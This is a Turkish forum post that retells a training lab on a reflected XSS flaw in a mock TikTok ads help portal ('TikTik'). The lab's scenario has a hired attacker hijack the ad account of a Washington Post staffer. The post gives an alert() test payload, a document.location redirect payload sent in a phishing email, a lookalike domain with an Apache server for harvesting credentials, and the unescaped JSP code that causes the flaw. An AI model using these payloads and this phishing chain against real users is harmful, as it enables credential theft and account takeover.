Hoşgeldin Misafir

TikTok Cross Site Scripting Vulnerability

Reisci

Reisci

Yerli Ve Milli Hacker
11 Mar 2020
6,569 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
WEB | OWASP TOP 10 | TikTok Cross Site Scripting Vulnerability

Sosyal medya platformları, seçim kampanyalarının vatandaşlarla iletişim kurması için birincil araç haline geldi. Bununla birlikte, Cambridge Analytica sonrası bir dünyada, sosyal medya şirketlerinin platformlarının kötüye kullanıma açık olmamasını sağlama baskısı önemli bir zorluk olmaya devam ediyor.

Checkpoint Research tarafından TikTok'a karşı yürütülen son soruşturma, motive edilmiş tehdit aktörlerinin siyasi düşmanlarını anlamalarına ve/veya onların reklam kampanyalarını manipüle etmesine izin verebilecek, önemsiz derecede sömürülebilir güvenlik sorunlarına dikkat çekiyor.

Bu güvenlik açığının önemini göstermek için KONTRA, TikTok'un Reklam platformunda bildirilen Siteler Arası Komut Dosyası Çalıştırma kusurunu ve bu sorunun varsayımsal siber düşmanlar tarafından istismar edilmesini ayrıntılandıran etkileşimli bir eğitim geliştirdi.

unknown.png


Veriye dayalı Reklam kampanyalarında uzmanlaşmış bir siyasi danışmanlık grubu olan Draco Strategies LLC, önde gelen bir gazetenin çevrimiçi Reklam stratejisi hakkında gizli araştırma yapmak üzere bizi işe almaya karar verir.

Draco Strategies tarafından belirlenen kapsam ve hedefleri gözden geçirmek için aşağıdaki web posta bağlantımıza erişelim.

unknown.png


Devam edip Change for America 2020 başlıklı e-posta mesajını açalım.

unknown.png


E-posta, bizim ve Draco Strategies personeli arasında, bize önde gelen bir haber dergisi olan Washington Post'a karşı rekabetçi istihbarat toplaması ve popüler sosyal ağ TikTik'teki çevrimiçi reklam kampanyalarını daha ayrıntılı analiz etmesi talimatını veren bir toplantıyı ayrıntılarıyla anlatıyor.

unknown.png


Draco Strategies çalışanları ayrıca attığı e-posta da Washington Post'un sosyal medya kampanya yöneticisi Alice'in e-postasını ve platformlarının nasıl çalıştığını anlamasına ve potansiyel saldırı stratejileri bulmasına yardımcı olmak için TikTik'in Reklam platformu destek web sayfası için bir web bağlantısı sağlıyor.

unknown.png


Bağlantıya tıklamak TikTik'in reklam yardım portalını yükler.

uygulamanın temel işlevselliğini, iş mantığını ve kontrol akışını analiz edip sitede bir gezintiye çıkalım.

unknown.png


TikTik kullanıcılarının TikTik'in Reklam platformuyla ilgili makaleleri, belgeleri ve kaynakları aramasına olanak tanıyan bir Arama formu alanı olduğunu görüyoruz.

Aşağıdaki anahtar kelimeyi göndererek Arama özelliğini test edelim.

unknown.png


Arama, giriş dizesiyle eşleşen hiçbir sonuç döndürmez.

Ancak uygulama, yanıtta arama terimi xxx'i tekrarlayalım.

deneyimli bir bilgisayar korsanı olarak, kullanıcı tarafından sağlanan girdileri bir web sayfasına geri vermenin, siteler arası komut dosyası çalıştırma (XSS) güvenlik açıklarının yaygın bir kaynağı olduğunu biliyoruz.

unknown.png


XSS güvenlik açıkları için Arama işlevini test etmemiz için orijinal arama dizesini aşağıdaki sorguyla değiştirelim:
<script>alert('hacked')</script>

unknown.png


BUM mu desek ne desek, Arama formu alanına geçerli bir Javascript dizesi göndererek, tarayıcıdan güvenilmeyen javascript kodunu yürütmesi için TikTik Ads portalını kandırmayı başardık!

Kötü amaçlı Javascript kodu veya HTML gibi güvenilmeyen verileri kurbanın tarayıcısına enjekte etme ve çalıştırma özelliği, Siteler Arası Komut Dosyası Çalıştırma (XSS) saldırısı olarak bilinir.

Önceki adımdaki XSSalert('hacked') enjeksiyon yükünün daha karmaşık JavaScript veya HTML ifadeleriyle değiştirilebileceğini unutmayın.

Örneğin, nesneyi www.attacker.com değiştirerek bir kullanıcıyı başka bir web sitesine yönlendirmek için aşağıdaki JavaScript yükünü enjekte edebiliriz :document.location

<script>document.location = 'www.attacker.com';</script>

unknown.png


Alice'in hesabına karşı siteler arası komut dosyası çalıştırma güvenlik açığından yararlanmak için önce TikTik Ads giriş sayfasına benzeyen sahte bir giriş web sayfası oluşturalım.

Daha sonra, www.tiktik-ads.com alan adını, gerçek TikTik Reklam alan adı ads.tiktik.com'a benzeyen bir site olarak kaydedelim.

Son olarak, kötü niyetli giriş sayfasını www.tiktik-ads.com üzerinden sunmak için bir web sunucusu başlatıp aşağıdaki iki komutu vererek web sunucusu günlük dosyasını izlemeye alalım:

service apache2 start && tail -f /var/log/access.log

unknown.png


İlk komut, kötü niyetli giriş web sayfasını
www.tiktik-ads.com'da barındırmak için bir web sunucusunu başlatır.


İkinci komut, web sunucusu günlüklerimizin gerçek zamanlı olarak izlemesini sağlar.

unknown.png


Bir önceki adımda istismar altyapısını yapılandırıp, Alice'e özel hazırlanmış bir e-posta gönderelim.

Alice'in gelen kutusuna şu adresten erişerek yolladığımız e-postanın içeriğini analiz edelim.

unknown.png


Alice genellikle bilinmeyen alıcılardan gelen istenmeyen e-postaları görmezden gelir ve siler.

Ancak, Konu e-postasının makul ve alakalı olduğu göz önüne alındığında, Alice bizim tarafımızdan gönderilen mesajı açar.

unknown.png


TikTik, siyasi Reklam kampanyaları için yeni özellikler başlatan bir konu satırı kullanarak e -postamızda Alice'i TikTik'in Reklam platformundaki yeni bir özelliği kontrol etmeye teşvik ediyor.

Alice, URL'yi daha ayrıntılı olarak inceler ve bunun TikTik'in Reklam portalı https://ads.tiktik.com'a işaret eden geçerli bir bağlantı olduğunu onaylar.

unknown.png


e-postaya koyduğumuz web bağlantısı aslında TikTik Reklam'ın Yardım portalının arama URL'sidir ve aşağıdaki javascript kodunu bir arama sorgusu olarak göndermek üzere değiştirilmiştir:

<script>document.location = 'www.tiktik-ads.com';</script>

TikTik Reklam'ın arama özelliği siteler arası komut dosyası oluşturmaya karşı savunmasız olduğundan, Alice URL'ye tıkladığında yukarıdaki kod parçacığı tarayıcısı bağlamında çalışacak ve onu kötü niyetli web sitesi olan www.tiktik-ads.com'a yönlendirecektir.

unknown.png


Yolladığımız URL kötü amaçlı javascript'i yürütür ve Alice'i www.tiktik-ads.com'a yönlendirir.

daha önce sahte oturum açma sayfasını barındırmak ve günlük dosyasını izlemek için bir Apache web sunucusu başlatmıştık. sahte giriş sayfasına Alice olarak giriş yapmaya çalışmadan önce konsolumuzu açalım.

unknown.png


Alice olarak devam edelim ve Alice'in TikTik kimlik doğrulama bilgilerini kullanarak sisteme giriş yapalım.

unknown.png


Başarılı! Sahte oturum açma sayfasında kimlik bilgilerini gönderdikten sonra, Alice'in kullanıcı adı ve parolası artık bizim apache web sunucusunda oturum açmış durumda!

unknown.png


Daha sonra orjinal TikTik'in reklam portal sayfasına giderek Alice'in bilgileri ile giriş yapmayı deneyelim.

unknown.png


Ve BİNGO! siteler arası komut dosyası çalıştırma güvenlik açığından yararlanıp, Alice'in TikTik Reklam hesabını ele geçirmemiz ve Washington Post'un Reklam verilerine erişim elde etmeyi başarmamız.

Güvenliği ihlal edilmiş hesap, anahtar kelimeler, reklam hedefleme stratejileri, Reklam başlatma takvimi ve Draco Strategies'in kendi hedeflenen reklam kampanyaları veya Washington Post'un reklam stratejilerine ilişkin stratejik bilgileri edinelim.

unknown.png


Bu güvenlik açığının temel nedenini daha iyi anlamak için, TikTik'in Arama özelliğinde arama sonuçlarını oluşturmak için kullanılan kaynak koduna bir göz atalım.

<c:if test="${find}">
Arama sonuçlarını görüntülemek için, önce Arama isteğinin başarılı c:if olup olmadığını test etmek için etiket çağrılır.

<c:if test="${!find}"> //If a matching article was not found
Bir arama hiçbir sonuç döndürmezse, orijinal arama ifadesinin ardından dize için sonuç yok'u görüntüleyen bir HTML yanıtı oluşturmak için kullanılır.

<h2>No results for <span><%= request.getparmeter("q") %>
Arama dizesini oluşturmak için request.getparameter(), daha sonra doğrudan HTML şablonu tarafından oluşturulan arama parametresi değerini çıkarmak için yöntem çağrılır.

<span><%= request.getparmeter("q") %>
Ancak, arama alanında herhangi bir giriş doğrulaması gerçekleştirilmediğinden, tarafından döndürülen değer, HTML şablonu tarafından herhangi bir güvenlik doğrulaması olmadan oluşturulan HTML etiketlerini request.getparameter() içerebilir.

unknown.png